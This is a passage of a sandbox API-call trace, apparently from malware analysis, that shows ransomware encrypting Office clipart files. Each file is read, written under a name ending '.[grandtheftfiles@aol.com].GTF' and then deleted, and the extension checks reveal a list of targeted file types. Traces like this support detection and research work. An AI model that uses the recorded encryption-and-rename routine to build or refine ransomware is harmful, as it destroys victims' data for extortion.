	[0088.685] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1960) returned 1
	[0088.685] CloseHandle (hObject=0x334) returned 1
	[0088.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220
	[0088.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.685] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.685] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.685] GetLastError () returned 0x0
	[0088.685] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x7a8, lpOverlapped=0x0) returned 1
	[0088.687] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x7b0, lpOverlapped=0x0) returned 1
	[0088.688] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.688] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.688] SetEndOfFile (hFile=0x390) returned 1
	[0088.688] CloseHandle (hObject=0x390) returned 1
	[0088.688] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.688] SetEndOfFile (hFile=0x334) returned 1
	[0088.689] CloseHandle (hObject=0x334) returned 1
	[0088.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1
	[0088.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.689] lstrlenW (lpString=".doc") returned 4
	[0088.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.689] lstrlenW (lpString=".docx") returned 5
	[0088.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.689] lstrlenW (lpString=".pdf") returned 4
	[0088.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.689] lstrlenW (lpString=".xls") returned 4
	[0088.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.690] lstrlenW (lpString=".xlsx") returned 5
	[0088.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.690] lstrlenW (lpString=".ppt") returned 4
	[0088.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.690] lstrlenW (lpString=".zip") returned 4
	[0088.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.690] lstrlenW (lpString=".rar") returned 4
	[0088.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString=".bz2") returned 4
	[0088.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString=".7z") returned 3
	[0088.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.690] lstrlenW (lpString=".dbf") returned 4
	[0088.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.690] lstrlenW (lpString=".1cd") returned 4
	[0088.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.690] lstrlenW (lpString=".jpg") returned 4
	[0088.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.690] lstrlenW (lpString=".doc") returned 4
	[0088.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString=".docx") returned 5
	[0088.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.690] lstrlenW (lpString=".pdf") returned 4
	[0088.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.690] lstrlenW (lpString=".xls") returned 4
	[0088.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.690] lstrlenW (lpString=".xlsx") returned 5
	[0088.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.690] lstrlenW (lpString=".ppt") returned 4
	[0088.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.691] lstrlenW (lpString=".zip") returned 4
	[0088.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.691] lstrlenW (lpString=".rar") returned 4
	[0088.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.691] lstrlenW (lpString=".bz2") returned 4
	[0088.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.691] lstrlenW (lpString=".7z") returned 3
	[0088.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.691] lstrlenW (lpString=".dbf") returned 4
	[0088.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.691] lstrlenW (lpString=".1cd") returned 4
	[0088.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0088.691] lstrlenW (lpString=".jpg") returned 4
	[0088.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.691] lstrlenW (lpString="HH00260_.WMF") returned 12
	[0088.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.691] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3662) returned 1
	[0088.692] CloseHandle (hObject=0x334) returned 1
	[0088.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220
	[0088.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.692] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.692] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.692] GetLastError () returned 0x0
	[0088.692] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xe4e, lpOverlapped=0x0) returned 1
	[0088.694] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe50, lpOverlapped=0x0) returned 1
	[0088.695] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.695] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.695] SetEndOfFile (hFile=0x390) returned 1
	[0088.695] CloseHandle (hObject=0x390) returned 1
	[0088.695] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.695] SetEndOfFile (hFile=0x334) returned 1
	[0088.696] CloseHandle (hObject=0x334) returned 1
	[0088.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.696] lstrlenW (lpString=".doc") returned 4
	[0088.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.696] lstrlenW (lpString=".docx") returned 5
	[0088.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.697] lstrlenW (lpString=".pdf") returned 4
	[0088.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString=".xls") returned 4
	[0088.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.697] lstrlenW (lpString=".xlsx") returned 5
	[0088.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.697] lstrlenW (lpString=".ppt") returned 4
	[0088.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.697] lstrlenW (lpString=".zip") returned 4
	[0088.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.697] lstrlenW (lpString=".rar") returned 4
	[0088.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString=".bz2") returned 4
	[0088.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString=".7z") returned 3
	[0088.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.697] lstrlenW (lpString=".dbf") returned 4
	[0088.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.697] lstrlenW (lpString=".1cd") returned 4
	[0088.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.697] lstrlenW (lpString=".jpg") returned 4
	[0088.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.697] lstrlenW (lpString=".doc") returned 4
	[0088.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString=".docx") returned 5
	[0088.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.697] lstrlenW (lpString=".pdf") returned 4
	[0088.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.697] lstrlenW (lpString=".xls") returned 4
	[0088.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.697] lstrlenW (lpString=".xlsx") returned 5
	[0088.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.698] lstrlenW (lpString=".ppt") returned 4
	[0088.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.698] lstrlenW (lpString=".zip") returned 4
	[0088.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.698] lstrlenW (lpString=".rar") returned 4
	[0088.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.698] lstrlenW (lpString=".bz2") returned 4
	[0088.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.698] lstrlenW (lpString=".7z") returned 3
	[0088.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.698] lstrlenW (lpString=".dbf") returned 4
	[0088.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.698] lstrlenW (lpString=".1cd") returned 4
	[0088.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0088.698] lstrlenW (lpString=".jpg") returned 4
	[0088.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.698] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.698] lstrlenW (lpString="HH00276_.WMF") returned 12
	[0088.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0088.712] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3016) returned 1
	[0088.712] CloseHandle (hObject=0x2fc) returned 1
	[0088.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220
	[0088.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0088.712] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.712] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.713] GetLastError () returned 0x0
	[0088.713] ReadFile (in: hFile=0x2fc, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0088.728] WriteFile (in: hFile=0x334, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0088.729] ReadFile (in: hFile=0x2fc, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.729] WriteFile (in: hFile=0x334, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.729] SetEndOfFile (hFile=0x334) returned 1
	[0088.730] CloseHandle (hObject=0x334) returned 1
	[0088.730] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.730] SetEndOfFile (hFile=0x2fc) returned 1
	[0088.731] CloseHandle (hObject=0x2fc) returned 1
	[0088.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1
	[0088.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.866] lstrlenW (lpString=".doc") returned 4
	[0088.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.866] lstrlenW (lpString=".docx") returned 5
	[0088.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.866] lstrlenW (lpString=".pdf") returned 4
	[0088.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.866] lstrlenW (lpString=".xls") returned 4
	[0088.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.866] lstrlenW (lpString=".xlsx") returned 5
	[0088.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.866] lstrlenW (lpString=".ppt") returned 4
	[0088.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.866] lstrlenW (lpString=".zip") returned 4
	[0088.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.866] lstrlenW (lpString=".rar") returned 4
	[0088.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.866] lstrlenW (lpString=".bz2") returned 4
	[0088.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.866] lstrlenW (lpString=".7z") returned 3
	[0088.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.866] lstrlenW (lpString=".dbf") returned 4
	[0088.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.866] lstrlenW (lpString=".1cd") returned 4
	[0088.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.867] lstrlenW (lpString=".jpg") returned 4
	[0088.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.867] lstrlenW (lpString=".doc") returned 4
	[0088.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString=".docx") returned 5
	[0088.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.867] lstrlenW (lpString=".pdf") returned 4
	[0088.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString=".xls") returned 4
	[0088.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.867] lstrlenW (lpString=".xlsx") returned 5
	[0088.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.867] lstrlenW (lpString=".ppt") returned 4
	[0088.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.867] lstrlenW (lpString=".zip") returned 4
	[0088.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.867] lstrlenW (lpString=".rar") returned 4
	[0088.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString=".bz2") returned 4
	[0088.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString=".7z") returned 3
	[0088.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.867] lstrlenW (lpString=".dbf") returned 4
	[0088.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.867] lstrlenW (lpString=".1cd") returned 4
	[0088.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0088.867] lstrlenW (lpString=".jpg") returned 4
	[0088.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.868] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.868] lstrlenW (lpString="HH00623_.WMF") returned 12
